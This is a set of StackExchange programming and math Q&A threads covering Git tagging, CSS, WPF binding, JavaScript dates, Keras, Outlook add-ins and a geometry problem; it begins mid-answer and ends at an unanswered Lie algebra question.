this.frame = frame;
}
public JInternalFrame getFrame() {
return frame;
}
}
}
A:
I figured it out. I added the method on Class WindowMenu as belows. This method is called when the close button is click without selected internal frame.
public JInternalFrame getFrontFrame(){
InternalFrame[] array = desktop.getAllFrames();
JInternalFrame f=(JInternalFrame)array[0];
return f;
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Small strange rendering bug
There are two small "bugs" when I render my CSS tabs. If I press the third tab then the vertical line to the left disappears. In the example in the manual from semantic-ui it doesn't happen and the line is there when I press "third". I wonder what can be wrong with the code.
$(function () {
$('.menu .item').tab();
});
<link href="https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.2/semantic.min.css" rel="stylesheet" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.2/semantic.min.js"></script>
<div class="ui top attached tabular menu">
<a class="item active" data-tab="first">First</a>
<a class="item" data-tab="second">Second</a>
<a class="item" data-tab="third">Third</a>
</div>
<div class="ui bottom attached tab segment active" data-tab="first">
First
</div>
<div class="ui bottom attached tab segment" data-tab="second">
Second
</div>
<div style="margin-right:0px;margin-left:0px" class="ui bottom attached tab segment" data-tab="third">
Third
</div>
If you compare pressing "second" to "third" then the vertical line to the left disappears which it should not do. Can you find the error?
A:
If you look at the .ui.attached.segment class form semantic.min.css , it has a margin: 0 -1px which adds a margin left and right of -1px.
For the second tab, this margin seems to be overriden by .ui.tabular.menu+.attached:not(.top).segment+.attached:not(.top).segment whereas its not overriden for the third one.
A simple fix would be to add a margin-right/left of 0px to the third tab
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Git tag for a subfolder of a repository
I use Git to import a SVN repository. Then I created my own project as a subfolder in the repository.
I use the SVN repository with Git-SVN. My working procedure is:
git commit -am "message"
git svn rebase
git svn dcommit.
Now I want to tag my project with git tag -a RC1 -m 'Release Candidate 1', but I only want that my project gets the tag.
How can I do that?
A:
TL;DR version
It's possible to tag specific directories (aka trees) if you know the tree's SHA-1, but it's not often done & not easy to do useful things with that tag.
Long answer
Every object in Git has a unique SHA-1. Most commonly, SHA-1s refer to commits, but they can also refer to blobs (file contents) and trees (directory structures & filenames/file-permission mappings). You can read about it in the Git Objects documentation.
For example, suppose I'm in a particular directory in my repository. I can run git ls-tree HEAD to get the list of files/directories in my path, along with their SHA-1s:
$git ls-tree HEAD
100644 blob ed76d466f5025ce88575770b07a65c49b281ca59 app.css
100644 blob ed58ee4a9be6f5b58e25e5b025b25e6d04549767 app.js
100644 blob e2bed82bd9554fdd89d982b37a8e0659fe82390a controllers.js
040000 tree f888c44e16f7811ba69a245adf35c4303cb0d4e7 data
100644 blob d68aa862e4746fc9abd0132cc576a4df266b0a9d directives.js
100644 blob df0ae0e7288617552b373d21f7796adb8fb0d1b6 index.html
040000 tree fa9c05b1bb45fb85821c7b1c27925b2618d646ac partials
100644 blob 28e9eb6fe697cb5039d1cb093742e90b739ad6af services.js
I can then tag one of these trees (let's say the data directory above):
$git tag data-1.0 f888c44e16f7811ba69a245adf35c4303cb0d4e7
The tag is now an alias for that SHA-1 and I can use it wherever a SHA-1 for a tree is accepted:
$git ls-tree -rt data-1.0
100644 blob 6ab0a52a17d14cbc8e30c4bf8d060c4ff58ff971 file1.json
100644 blob e097e393fa72007b0c328d67b70ba1c571854db0 file2.json
040000 tree 39573c56941fdd2fc88747a96bf871550f4affb2 subfolder1
... ... ... ...
To get back the original SHA-1:
$git rev-parse data-1.0
f888c44e16f7811ba69a245adf35c4303cb0d4e7
What good will all this do you? Not much as-is. However, if you're willing to write your own scripts to reconstruct the contents of a tree, or to find the commits containing a tree, then it might be useful to you. (e.g. this SO answer could be adapted for such a purpose).
But like others have said, you'll probably have an easier time using a versioning/tagging model that's works better with Git, rather than trying to adapt your existing model. As already mentioned by shikjohari & others, if you want projects-within-a-project, which have their own versions, consider Git Submodules instead.
A:
You cannot.
In Git, a tag by design always applies to the repository as a whole (just like commits and branches). This is unlike in Subversion, where a tag (being just a copy) can be applied to a subtree.
BTW: Tagging a subtree is usually discouraged even in Subversion, because it can quickly become confusing just which part of the tree was tagged. Most sources I know (for example Version Control with Subversion recommend to always tag by copying trunk.
About your problem:
Usually, separate projects should get separate Git repositories. "Seperate" in this context usually means that you might want to branch / tag separately.
If you do not / cannot do that, the best option is probably to use some tag prefix, and call all tags myproj-1.0, myproj-1.1 etc.
A:
This isn't possible with Git. A Git tag is a pointer to a specific commit, whereas a Subversion tag is a copy of any folder in the Subversion repository. The concept of tagging a single folder in Subversion doesn't carry over very well into Git.
The problem is that your initial setup doesn't match Git's branching model. The way to do this in a Git-friendly manner would be to have a branch set up for your project, and then to tag commits on that branch.
You've a couple of options:
Tag the entire repository at a given point using git svn tag. Run git help svn for instructions on using this command.
Tag the directory using regular Subversion commands. This doesn't need to involve downloading a Subversion working copy, since you can just run svn copy {URL to your project on the repository} {URL to your tag directory}, but you will need to install Subversion.
Start a new Git clone of your Subversion repository in a whole new directory. Specify your project folder as the trunk URL, rather than the actual trunk. Git-svn will then treat that directory as your main branch and allow you to tag and copy it through Subversion.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Regex, need support
I have links:
/admin/index.php
/admin/index.php?do=delete_user
/forum/index.php?search=aaa&type=a
/index.php
/index.php?p=home
and so on...
How to preg_replace() links that only index.php without GET's will change (if have GET's dont'replace).
Thanks, it's working, but why not working this (?!&), (?!\&)? I want to keep unchange if after asd.aa/index.php?news=1 exist & (asd.aa/index.php?news=1&dont=change)
A:
Use a negative lookahead: '/index\.php(?!\?)/' will match only if there is no ? after the index.php
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How to disable cache in Windows 10 on the Edge browser?
How to disable or delete browser cache in Windows 10 on the Edge browser?
There are no options on preferences and developer tools (F12)
A:
Open Developer Tools then cache is disabled automatically. And click "Network" tab then click "Always refresh from server" button.
(It only works if the Developer Tools is open)
A:
Just open Network and click on the selected icon (in the image). It will not cache till the dev tools are open.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How to trigger parent drag event when child is dragged in jQuery?
I am having trouble with the textarea element. I am creating a div (parent) dynamically and then append to that parent-div a textarea element with the same size of the parent. When the user attempts to drag the textarea I would like to drag the parent (which contains the textarea) instead. I've tried the handle option but that doesn't seem to work with the textarea element.
Basically this is what I have (except it is created dynamically):
<div class="floatingPanel">
<textarea class="dragger">
Drag from here
</textarea>
</div>
$(document).ready(function() {
$('.floatingPanel').draggable({
handle: '.dragger'
});
});
I found a jsFiddle that was very similar to my problem. I modified it for the textarea element.
What's interesting is that when the textarea is changed to div, it works. What am I doing wrong?
A:
This guy here has a solution to your problem. https://stackoverflow.com/a/18819346
You can not use text area as draggable because it is restricted. In the jQuery API it is noted that 'it prevents dragging starting on "input,textarea,button,select,option" elements. '. Having said that, if there is a way to modify this functionality then I am not aware of it.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How to add dynamic value to camel 'To' endpoint url?
I need to add a dynamically changing value to camel 'to' endpoint url as below.
from("direct:getNewData")
.process(new Processor() {
public void process(Exchange exchange) throws Exception {
}})
.to("http://dummyhost/12345");
How am I pass and set 12345 value to change dynamically in route endpoint url from java service?
A:
I generally just use a simple expression with the recipient list pattern...with this its easy to dynamically construct a URI based on a message header value...
from("direct:getNewData")
.recipientList(simple("http://dummyhost/${header.foo}"));
|
{
"pile_set_name": "StackExchange"
}
|
Q:
javascript Date() object returns valid but not new Date()
var d = Date("12:00 AM") returns as a date just fine, however when trying to create an instance of it new Date("12:00 AM") it returns 'Invalid date'.
I found a solution here, using moment.js, which works fine, but I would like know why getting 'Invalid Date' when using 'new Date()'
Thanks
fiddle
A:
From MDN:
Note: Note that JavaScript Date objects can only be instantiated by
calling JavaScript Date as a constructor: calling it as a regular
function (i.e. without the new operator) will return a string rather
than a Date object; unlike other JavaScript object types, JavaScript
Date objects have no literal syntax.
...
Invoking JavaScript Date as a function (i.e., without the new
operator) will return a string representing the current date and time.
The first version of your call ignores the argument (and doesn't actually produce a Date).
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Do I have to revoke privileges from the superuser on an audit log table?
I just added an audit table to a project. The db (postgresql) superuser still has all its privileges on that table. This means the data in the audit table could be edited, ergo corrupted, at any point by the superuser.
The question is, is this a theoretically/legally acceptable audit log?
A:
Yes, absolutely. You only have to define that there is reliable auditing only for non-superusers.
There is no way in PostgreSQL to reliably protect information from the superuser. The superuser has full access to all information that PostgreSQL can read or write.
To protect your auditing system from tampering by a superuser, the component that collects and persists the auditing information would have to belong and run by an operating system user different from postgres.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Unrestricted grammar
What does this general grammar do?
S -> LR
L -> L0Y
L -> LX
X1 -> 1X
X0 -> 0X
X0 -> 1Y
Y1 -> 0Y
YR -> R
L -> epsilon
R -> epsilon
the start symbol is S. I tried to generate string from this grammar and I got every binary numbers. but I think it does something specific.
A:
S -> LR
L -> L0Y
L -> LX
X1 -> 1X
X0 -> 0X
X0 -> 1Y
Y1 -> 0Y
YR -> R
L -> epsilon
R -> epsilon
terminals: 0,1
start: S
Let's split the grammar:
S -> LR
L -> L0Y
L -> LX
This will generate a string in the form L, string of X and 0Y, R.
X1 -> 1X
X0 -> 0X
X0 -> 1Y
Y1 -> 0Y
YR -> R
Treat X and Y as acting on the binary string: X will propagate to the right, then change a 0 to 1 and all subsequent 1s to 0s. In effect, a single X increments the binary number without changing its string length (or gets stuck).
A leading Y will rewrite the string of all 1s to all 0s (or gets stuck).
Treat the rules for L as the possible actions on the right part of the string. L => L0Y will reset the string from all ones to all zeroes and increase its length by one. L => LX will increment any other number, but fails if the value is at the maximum.
These two actions together are sufficient to generate (inefficiently) all strings of zeroes and ones (including the empty string).
L -> epsilon
R -> epsilon
will only clean up the sentinels.
one possible description of the language within four words:
set of all strings
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Aren't passwords written in inputbox vulnerable through a stack trace?
I am not a guru of stack traces, at all. I don't even know how to get them. Anyway, I am wondering if entering a password entered in an inputbox is safe. Can't it be retrieved by getting a stack trace?
A password entered that way will be found in many places:
Caption property of the TEdit
Result of the function which creates the inputbox
probably, a variable that stores the Result of the InputBox Command
etc...
If the answer is "yes, it is a vulnerability", then my world collapses :p. What can be done to avoid this security hole?
NOTE: The InputBox is an example but it can be with a "homebrewed" login prompt.
InputBox is a Delphi command but I haven't tagged the question with the Delphi tag because I suppose that the question concerns any language.
A:
This is called the airtight hatchway problem, and stems (at least one of the sources) from a chapter in a book by Douglas Adams called The Hitchhikers Guide to the Galaxy. In it, our two protagonists are being carried by a large guard and dumped into a airlock, pending being evacuated into space. At some point, one of our protagonists says that he had a solution, but "it rather involved being on the other side of the airtight hatchway.".
Let me explain.
If you have a cracker that is able to execute code (or in other ways "be") on your own machine, you have already lost. There's a ton of things that the cracker can do at that point.
So your first line of defense should be to prevent bad-guys access to your machine, if you can handle that, security becomes much easier.
So no, this is not a vulnerability, it is the fundamental way your computer works.
In the simplest form, if someone is able to get hold of runtime live stack-traces of your program in motion, it probably means they have hooked up something that looks like a debugger to your program and is able to "debug" your program as it runs. A breakpoint could easily grab data from memory, process it, and then resume the program without the user ever knowing anything has happened, but in practice, there are far easier way to get hold of such information provided you can execute code on the system.
Now, having said that, in .NET and many other runtimes there is support for attempts to at least make it harder, by instead of storing the whole string, they intercept one and one keystroke into your input box, and encodes it together with the rest of the password, so that each character is not stored in plain-text.
However, the code that handles this becomes very cumbersome to work with, simply because any attempt to get the whole password in clear-text would make the whole exercise pointless, so unless you're able to pass such encoded passwords end-to-end around your system, this won't really help much.
In .NET, the class in question is System.SecureString.
However, again, if the bad-guy can execute code on your platform, what is there to stop him from intercepting the keystrokes and just combining them together to form your password?
Here's a couple of links with examples of similar questions:
It rather involved being on the other side of this airtight hatchway: Dubious escalation
It rather involved being on the other side of this airtight hatchway: If they can inject code, then they can run code
It rather involved being on the other side of this airtight hatchway: Elevation to administrator
You can tell I'm a fan of Raymond Chen.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Visual Studio 2015 - Can't get real time compile and edit and continue to work
What steps do I need to take to enable real time compilation and edit and continue? I have several MVC5 C# applications and the features just don't work.
I enabled "Just My Code" and checked "Enable Edit and Continue" in Debugging options. I even tried to reinstall Visual Studio.
A:
In the end I created a new project and copied source files over. It is now working as expected.
Must have been a setting somewhere that I wasn't able to locate.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Monitor for Outlook Folder Rename/Add/Delete with Add-In
I have a c# outlook add-in and I would like to monitor for folder rename/changes.
After some searching, it looks like I need to monitor for the even, FoldersEvents_FolderChangeEventHandler
private void ThisAddIn_Startup(object sender, System.EventArgs e)
{
...
// monitor for folder changes
var folders = Application.Session.DefaultStore.GetRootFolder().Folders;
folders.FolderChange += Folders_FolderChange;
}
...
private void Folders_FolderChange(Outlook.MAPIFolder folder)
{
//
}
But the code is not called when I rename any folders, (or I move them and so on).
So, how can I monitor for changes in any of the folders?
I would like to monitor, Rename, Delete and Add, how can this be done?
A:
You are setting up an event sink on a local variable (folders) that gets released by the GC next time it runs. Make it a global (class) member.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Keras LSTM crashes my computer?
I'm trying to learn Keras, and made a really simple-looking model just to see what sort of errors I'd encounter.
input_layer = Input(shape=inp_size)
dens_layer = Dense(10000)(input_layer)
dens_layer_2 = Dense(10000)(dens_layer)
lstm_1 = LSTM(10000)(dens_layer_2)
lstm_2 = LSTM(10000)(lstm_1)
dense_layer = Dense(10000)(lstm_1)
dense_layer_2 = Dense(10000)(dense_layer)
output_layer = Dense(2)(dense_layer_2)
Dens_layer is constructed in 2 seconds, and dens_layer_2 is constructed in .07 seconds, but when I initialize the first LSTM layer it just continues doing... something... until my computer suddenly shuts off and restarts. It slows down my computer a bit, which another answer suggested was OS swapping, but I don't see why my computer would suddenly reboot.
A:
10000 units is really a lot, it probably needs a lot more resources than what you have. For comparison most Dense layers in ImageNet CNNs have 4096 units.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How do interfaces simulate multiple inheritance?
While searching for the reason for using Interfaces in C#, I stumbled upon MSDN where it says:
By using interfaces, you can, for example, include behavior from
multiple sources in a class. That capability is important in C#
because the language doesn't support multiple inheritance of classes.
In addition, you must use an interface if you want to simulate
inheritance for structs, because they can't actually inherit from
another struct or class.
But how does ,Interface simulate multiple inheritance.
If we inherit multiple interfaces, still we need to implement the methods referred in the Interface.
Any code example would be appreciated !!
A:
This works using delegation. You compose a class using other classes and forward ("delegate") method calls to their instances:
public interface IFoo
{
void Foo();
}
public interface IBar
{
void Bar();
}
public class FooService : IFoo
{
public void Foo()
{
Console.WriteLine("Foo");
}
}
public class BarService : IBar
{
public void Bar()
{
Console.WriteLine("Bar");
}
}
public class FooBar : IFoo, IBar
{
private readonly FooService fooService = new FooService();
private readonly BarService barService = new BarService();
public void Foo()
{
this.fooService.Foo();
}
public void Bar()
{
this.barService.Bar();
}
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
php date() returns one hour ahead of original when given integer date
The php date() function is returning a strange result. For example:
date("d/m/Y H:i",$sr1["parking_start"]);
Here the $sr1["parking_start"] is the date in integer format retrieved from the database. It should return the result 2016/4/24 15:30, but it returns 2016/4/24 16:30 or 2016/4/24 14:30. I have tried my best to sort it out but in vain. If you people think this is a server time issue then let me tell you that it's not, because when I copy and paste the value of $sr1["parking_start"] and paste it to the date function of the other php file on the same server, then its works perfectly.
Can you help me? What can cause the date() function to return the wrong result?
A:
Check your default timezone date_default_timezone_get (and make sure you set it correctly).
You might want to check what was the timezone of the script that saved the date and, if different, you will have to change between the zones
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Обращение к элементам коллекции
Есть 5 объектов:
Credit1 obj1;
Credit2 obj2;
Credit3 obj3;
Credit4 obj4;
Credit5 obj5;
Все наследуются от одного класса с определённым интерфейсом. То есть - одинаковые классы. Зачем? Вот и я не знаю, но эти классы есть, и нужно реализовать поиск и сортировку по этим объектам. Ладно бы поиск, его можно сделать через костыли, но как сортировать то, что не объединено ни в одну структуру?..
Решено было объединить всё в одну коллекцию:
var list = new List<MainCredit>();
list.Add(new Credit1());
list.Add(new Credit2());
list.Add(new Credit3());
list.Add(new Credit4());
list.Add(new Credit5());
Возникает вопрос, как обратиться к методам этих объектов?
foreach (MainCredit obj in list)
{
obj.prtInfo(); // Будет обращение к методу prtInfo() у MainCredit, а надо Credit1-5
}
Пробовал ещё этот вариант:
foreach (MainCredit obj in list)
{
if (obj is Credit1)
(obj as Credit1).prtInfo();
}
Базовый класс:
public interface InterfaceMainCredit
{
int InterestRate();
void prtInfo();
void prtFile(StreamWriter writer, BinaryWriter writer2nd, MainCredit obj);
void binaryPrtFile(BinaryWriter writer, MainCredit obj);
void binaryLoadFromFile(BinaryReader reader);
}
public class MainCredit : InterfaceMainCredit
{
protected string currency, time, method;
public virtual void prtInfo() { ... }
public int InterestRate() { ... }
public void prtFile(StreamWriter writer, BinaryWriter writer2nd, MainCredit obj){ ... }
public void binaryPrtFile(BinaryWriter writer, MainCredit obj) { ... }
public void binaryLoadFromFile(BinaryReader reader) { ... }
}
Дочерние классы:
class Credit1 : MainCredit
{
int interestRate, provisionForLoan, number, amountOfCredit;
string name;
public override void prtInfo() { ... }
...
}
A:
Юзайте virtual и override, если это Ваши классы
public class MainCredit
{
public virtual void prtInfo()
{
Console.WriteLine("Say-0");
}
}
public class Credit1 : MainCredit
{
public override void prtInfo()
{
Console.WriteLine("Say-1");
}
}
public class Credit2 : MainCredit
{
public override void prtInfo()
{
base.prtInfo();
Console.WriteLine("Say-2");
}
}
void test()
{
MainCredit A = new Credit1();
A.prtInfo(); //в консоль напишет Say-1
MainCredit B = new Credit2();
B.prtInfo(); //в консоль напишет "Say-0 \n Say-2"
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Gradient of a function with respect to a matrix
How can I compute the gradient of the following function with respect to $X$,
$$g(X) = \frac{1}{2}\|y-AX\|^2$$
where $X\in\mathbb{R}^{n\times n}$, $y\in\mathbb{R}^m$, and $A:\mathbb{R}^{n\times n}\to \mathbb{R}^m$ is linear. We can assume that $A$ is of the form,
$$A = \begin{pmatrix}\langle X| A_1\rangle\\\vdots\\\langle X|A_m\rangle\end{pmatrix}$$
where $A_1,\ldots,A_m$ are $n\times n$ real matrices and the inner product is the Frobenius inner product.
Edit: my attempt at finding the gradient,
$$g(X+H) = \frac{1}{2}\langle y-A(X+H), y-A(X+H)\rangle,\\
= \frac{1}{2} \langle y-AX-AH, y-AX-AH\rangle,\\
=\frac{1}{2} \left(\langle y-AX, y-AX\rangle -\langle y-AX,AH\rangle -\langle AH, y-AX\rangle +o(\|H\|)\right),\\
=g(X) - \langle y-AX, AH\rangle,\\
=g(X)-\langle A^*\left(y-AX\right),H\rangle,\\
\implies \nabla g(X) = -A^*\left(y-AX\right)$$
Now I must compute the adjoint operator $A^*$ of $A$.
To find $A^*$ we do the following,
$$\langle y, AX\rangle = \sum\limits_{i=1}^m y_i\langle X, A_i\rangle=\sum\limits_{i=1}^m \langle X, y_iA_i\rangle = \langle X, \sum\limits_{i=1}^my_iA_i\rangle$$
to see that $A^*y = \sum\limits_{i=1}^m y_iA_i$. Applying this to the expression we found above gives,
$$\nabla_Xg(X) = -A^*(y-AX) = -\sum\limits_{i=1}^m\left(y_i-\mbox{tr}(X^TA_i)\right)A_i.$$
A:
The derivative of $g(X)=1/2(y-A(X))^T(y-A(X))$ is
$Dg_X:Y\in M_n\rightarrow -(A(Y))^T(y-A(X))$.
$(A(Y))^T(y-A(X))=[tr(Y^TA_1),\cdots,tr(Y^TA_m)][y_1-tr(X^TA_1),\cdots,y_m-tr(X^TA_m)]^T=$
$\sum_{i\leq m}tr(Y^TA_i)(y_i-tr(X^TA_i))=tr(Y^T\sum_{i\leq m}(y_i-tr(X^TA_i))A_i)$.
Conclusion. The gradient of $g$ is
$\nabla(g)(X)=-\sum_{i\leq m}(y_i-tr(X^TA_i))A_i$.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
What's the best way to have a table with sticky header?
What I'm currently doing is 2 tables, one for headers and one for data, in combination with table-layout:fixed and fixed widths for each column.
I don't like that solution since I have to keep adjusting widths and they don't look as good a the auto adjusted ones you get when the table layout isn't fixed.
I also considered a JS solution where the data table is laid out, then JS picks up each column width and applies it to the header table. The advantage of this is fluid td widths dictated by content. The problem is table contents can change dynamically, and the JS script needs to know that so it can recompute the widths... ew.
Is there a better way of doing that?
A:
better to use some plugins like jQuery Plugin for Fix Header Table
or if you want the pure CSS and want to know how it works. you can try the below fiddle https://jsfiddle.net/dPixie/byB9d/3/light/
its all about showing the content if div which is inside the TH
th {
height: 0;
line-height: 0;
padding-top: 0;
padding-bottom: 0;
color: transparent;
border: none;
white-space: nowrap;
}
th div{
position: absolute;
background: transparent;
color: #fff;
padding: 9px 25px;
top: 0;
margin-left: -25px;
line-height: normal;
border-left: 1px solid #800;
}
th:first-child div{
border: none;
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Octahedron Pyramid
So, each octahedron can be inscribed in a cube, so that
the corner points of the octahedron are in the midpoints of the side areas of the cube, am I right?
From the octahedron $ABCDS_1S_2$, shown in the image, the vertices
$A =(13 | -5 | 3)$
, $B =(11 | 3 | 1)$
, $C =(5 | 3 | 7)$
and
$S_1 =(13 | 1 | 9)$
are given.
This octahedron is inscribed in the illustrated cube with the corners $P_1$ to $P_8$.
Now let
$E_0: 2x_1 + x_2 + 2x_3 + 9 * (2a-5) = 0, a ∈ ℝ$
be a set of planes $aEa$; Let $h$ be the line passing through the points $S_1$ and
$S_2 =(5 | -3 | 1).$
Now the task:
For $0 <a ≤ 1$, the plane $E_a$ intersects a pyramid of the octahedron
with the peak $S_1$:
I have to find the point of intersection $P_a$ of the plane $E_a$ with the line $h$ and then the volume $V_a$ of the truncated pyramid.
This is what I've done:
I have determined
$P_a=(13-4a|1-2a|9-4a)$
but how can I find the volume?
If anyone needs the math for determining $P_a$, please say so and I'll add my calculations.
Thx
A:
For heaven's sake write points data as $A=(13,-5,9)$, and so on!$\quad$ [Note that $A=(13,-5,9)$ is a proposition, while $A(13,-5,9)$ is a function value.]
One finds that the center of the octahedron $O$ is at $M=(9,-1,5)$, so that $\vec{MS_1}=(4,2,4)$, which is orthogonal to the planes $2x_1+x_2+2x_3={\rm const.}$ It follows that all these planes intersect the axis $S_1\vee S_2$ of the octahedron orthogonally.
You have obtained $P_a=(13-4a,1-2a,9-4a)$ [I have not checked this], so that
$P_0=S_1$ and $P_1=M$. This allows to conclude that for $0< a<1$ the plane $E_a$ cuts off a small square pyramid $Y_a$ from $O$ with apex at $S_1$. The volume of this pyramid can be computed using elementary geometry. Note that the edge length $s$ of $O$ satisfies $s^2=|AB|^2=72$, and the height of the "upper half" $Y_1$ of $O$ is given by $h=|MS_1|=6$. It follows that ${\rm vol}(Y_1)={1\over3}s^2 h=144$. Since each $Y_a$ is similar to $Y_1$ with a linear factor $a$ we finally obtain
$${\rm vol}(Y_a)=144a^3\ .$$
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Binding from within a ResourceDictionary in a Catel WPF UserControl
I am converting some of the views and view models of our WPF application over to Catel, as a proof-of-concept.
One of the user controls doesn't seem to be correctly binding to the view model at runtime. I think I understand why that is, but would like to get some feedback on what the best remedy is.
The code
I have a simple view whose model is actually an ObservableCollection:
PersonTable.xaml
Key things to note: I'm using a CollectionViewSource that wraps the main collection that the DataGrid binds to. This is so I can keep the grid auto-sorted.
<catel:UserControl x:Class="MyApp.PersonTable"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:scm="clr-namespace:System.ComponentModel;assembly=WindowsBase"
xmlns:catel="http://catel.codeplex.com"
mc:Ignorable="d"
d:DesignHeight="300" d:DesignWidth="200" d:DataContext="{DynamicResource DesignTimeViewModel}">
<UserControl.Resources>
<ResourceDictionary>
<CollectionViewSource Source="{Binding PersonItems}" x:Key="PersonItemsSource">
<CollectionViewSource.SortDescriptions>
<scm:SortDescription PropertyName="DOB" Direction="Descending" />
</CollectionViewSource.SortDescriptions>
</CollectionViewSource>
<ui:DesignPersonViewModel x:Key="DesignTimeViewModel" />
</ResourceDictionary>
</UserControl.Resources>
<Grid>
<DataGrid ItemsSource="{Binding Source={StaticResource PersonItemsSource}}" AutoGenerateColumns="False">
<DataGrid.Columns>
<DataGridTextColumn Binding="{Binding Name, Mode=TwoWay}"
Header="Name" Width="90"
ElementStyle="{StaticResource CellRightAlign}" />
<!-- etc..... -->
</DataGrid.Columns>
</DataGrid>
</Grid>
</catel:UserControl>
PersonTableViewModel.cs
The view model accepts the model in the constructor:
using Catel.MVVM;
public class PersonTableViewModel : ViewModelBase
{
public PersonTableViewModel(ObservableCollection<Person> personItems)
{
this.PersonItems = personItems
}
public ObservableCollection<Person> PersonItems
{
get { return GetValue<ObservableCollection<Person>>(PersonItemsProperty); }
set { SetValue(PersonItemsProperty, value); }
}
public static PropertyData PersonItemsProperty =
RegisterProperty("PersonItems", typeof(ObservableCollection<Person>), () => new ObservableCollection<PersonItems>());
}
The Problem
At runtime, no items are populated in the grid. Although at design time, the design view model does correctly populate the grid in the design view.
Am I right about the source of the problem? I believe it's that the control that is bound to the PersonItems property is not part of the visual tree, but is embedded in a control-level resource dictionary? Based on my reading of the documentation, specifically the article UserControl - Under the hood, it seems that the Catel UserControl class injects the view model as a hidden inner DataContext inside the visual tree only, but my {Binding} inside a resource dictionary item might get left out in the cold.
Assuming I'm right, what's the best remedy?
If I'm right about the above, then I can think of a few possible remedies, none of which seem perfect. I would love to know what the accepted best practice is to remedy this situation.
Move the CollectionViewSource to the code behind; expose it as a dependency property. I don't love this option because I can't then configure it in XAML.
Move the CollectionViewSource to the view model. I really don't love this one; putting WPF components in the view model breaks MVVM.
Bind the CollectionViewSource to the original DataContext (i.e. the model). The problem there is that then the design-time view model would not bind correctly.
<CollectionViewSource Source="{Binding}" ..... >
Expose a dependency property from the code-behind that is bound to the view model. UPDATE: this works at runtime, but now fails at design time (in that the grid does not contain the test data.)
---- PersonTable.xaml.cs ----
[ViewToViewModel(MappingType = ViewToViewModelMappingType.ViewModelToView]
public ObservableCollection<PersonItem> PersonItems { get { ... } }
---- PersonTable.xaml ----
<CollectionViewSource Source="{Binding RelativeSource={RelativeSource FindAncestor, AncestorType={x:Type PersonTable}}, Path=PersonItems}" ...... >
A:
Your assumptions are all correct. But there is a 4th remedy. Put the Resources inside the Grid so you are inside the ViewModel data context:
<catel:UserControl x:Class="MyApp.PersonTable"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:scm="clr-namespace:System.ComponentModel;assembly=WindowsBase"
xmlns:catel="http://catel.codeplex.com"
mc:Ignorable="d"
d:DesignHeight="300" d:DesignWidth="200" d:DataContext="{DynamicResource DesignTimeViewModel}">
<Grid>
<Grid.Resources>
<ResourceDictionary>
<CollectionViewSource Source="{Binding PersonItems}" x:Key="PersonItemsSource">
<CollectionViewSource.SortDescriptions>
<scm:SortDescription PropertyName="DOB" Direction="Descending" />
</CollectionViewSource.SortDescriptions>
</CollectionViewSource>
<ui:DesignPersonViewModel x:Key="DesignTimeViewModel" />
</ResourceDictionary>
</Grid.Resources>
<DataGrid ItemsSource="{Binding Source={StaticResource PersonItemsSource}}" AutoGenerateColumns="False">
<DataGrid.Columns>
<DataGridTextColumn Binding="{Binding Name, Mode=TwoWay}"
Header="Name" Width="90"
ElementStyle="{StaticResource CellRightAlign}" />
<!-- etc..... -->
</DataGrid.Columns>
</DataGrid>
</Grid>
</catel:UserControl>
|
{
"pile_set_name": "StackExchange"
}
|
Q:
how to get the records till now by using linq in entity framework
I have bunch of records coming form the API response, but I just need to add some of the records in my database. I'm getting last record inserted in the database that is - fromDate = {7/5/2018 9:13:54 AM}. i need to get the records between that fromdate to latest record. But when tried, I'm getting 0 records due to datetime condition wrong.
sample data
RecordDateTime = {5/3/2018 7:29:00 PM}
fromDate= {7/5/2018 12:00:00 AM}
Code:
List<TransformerDetails> Pirs = Newtonsoft.Json.JsonConvert.DeserializeObject<List<TransformerDetails>>(responseString);
//Count = 10043
if (fromDate.HasValue)
{
Pirs = Pirs.Where(x => x.RecordDateTime > fromDate).ToList();
//fromDate= {7/5/2018 12:00:00 AM}
//count=0
}
Model
public DateTime RecordDateTime
{
get
{
string updtime = TimeZoneInfo.ConvertTimeFromUtc(Convert.ToDateTime(timestamp), TimeZoneInfo.FindSystemTimeZoneById("India Standard Time")).ToString();
return Convert.ToDateTime(updtime);
}
}
A:
If you wanted to get the records between now and July 5th 2018, this is how you do it :
Pirs = Pirs.Where(x => x.RecordDateTime < fromDate && x.RecordDateTime > DateTime.Now).ToList();
Other than that, honestly... Your question seems to be concerning dates that haven't yet occurred, which is suspicious and I wonder if you really took enough time to think about what you are doing.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Why do we require that a simple Lie algebra be non-abelian?
We say that a Lie $k$-algebra is simple if it is a simple object in the category of Lie algebras, and also nonabelian. The only simple object which we do not consider to be a simple Lie algebra under this definition is the line $k$. Is there any particular reason why $k$ would be problematic if were to consider it to be a simple Lie algebra?
A:
